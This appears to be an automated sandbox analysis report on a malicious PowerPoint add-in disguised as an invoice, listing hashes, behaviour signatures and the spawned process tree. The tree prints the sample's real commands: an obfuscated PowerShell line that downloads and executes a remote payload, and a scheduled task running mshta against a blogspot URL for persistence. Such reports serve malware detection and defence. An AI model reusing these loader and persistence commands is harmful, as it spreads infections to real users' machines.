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Overview

overview

10

Static

static

invoice_7_...).ppam

windows7-x64

10

invoice_7_...).ppam

windows10-2004-x64

10

Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    28/09/2022, 10:37

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General

  • Target

    invoice_7_812937_pdf (1).ppam

  • Size

    43KB

  • MD5

    abc10626cb26528d887b9a2268d300a3

  • SHA1

    c8e7e2be906190ecfc038009c93df645ccbffb1b

  • SHA256

    be62c35089f72b5317ea0c1bcb6d3a931205a98af434efd5b32410b6d9aa8fea

  • SHA512

    bef8d4f713a7b3ab2ae5bbd6c3a8282951fc9889f067b6cbbb7ef2b217dbdd613554d588c8c8af34de5ed263eb0d550bb9dbf0842dc2b641876f93744fd6a320

  • SSDEEP

    768:MAzJ/c/lsTsK/n/Okf6R9/i/LxC8vVJOQPdYI+4zrSNJAWWnxmT0gXJ1D5Jj5wJI:MAFkt09fmj7ajB0mxIPd3wU1/K8Nytst

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops startup file 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\invoice_7_812937_pdf (1).ppam"
    1⤵
    • Drops startup file
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1196
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:824
      • C:\Windows\SysWOW64\wscript.exe
        wscript.exe //b //e:jscript C:\\Users\\Public\\sys.ini
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP B -C (I'w'r('https://www.mediafire.com/file/rvzps961dmmyt8k/7.txt/file') -useB) | .('{#}{_}'.replace('_','0').replace('#','1')-f'^#','>').replace('>','I').replace('^','E').replace('#','X') | ping 127.0.0.1
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1796
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 100 /tn MicrosoftUpdater /F /tr """Mshta""""""http://www.7fdkfjdaa.blogspot.com/atom.xml"""
          3⤵
          • Creates scheduled task(s)
          PID:304

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Public\sys.ini
      Filesize

      2KB

      MD5

      fc93b33e961518156e4f11bb330e12fa

      SHA1

      2b569690c70532b0cfda40b12aa6a0991af98ea8

      SHA256

      3e0d302eef9a4fbde2b6fa517d2a433fdda9f541f6d028ef5dff432f1208b376

      SHA512

      f8037b74e61a218c96f91f018ba0ed6d57a04fcfe441185d0eeb7defd28882a9563126de2f0b46eff3a244181f071e8fc9ec8673c2938cfb2adecddfef5a859c

      Download Submit

    • memory/824-59-0x000007FEFC161000-0x000007FEFC163000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1196-62-0x00000000056A1000-0x0000000005703000-memory.dmp

      Filesize

      392KB

      Download

    • memory/1196-58-0x0000000075D01000-0x0000000075D03000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1196-60-0x000000007293D000-0x0000000072948000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1196-61-0x00000000056A1000-0x0000000005703000-memory.dmp

      Filesize

      392KB

      Download

    • memory/1196-54-0x00000000746B1000-0x00000000746B5000-memory.dmp

      Filesize

      16KB

      Download

    • memory/1196-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1196-55-0x0000000071951000-0x0000000071953000-memory.dmp

      Filesize

      8KB

      Download

    • memory/1196-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/1196-72-0x000000007293D000-0x0000000072948000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1796-68-0x000000006B4B0000-0x000000006BA5B000-memory.dmp

      Filesize

      5.7MB

      Download

    • memory/1796-70-0x000000006B4B0000-0x000000006BA5B000-memory.dmp

      Filesize

      5.7MB

      Download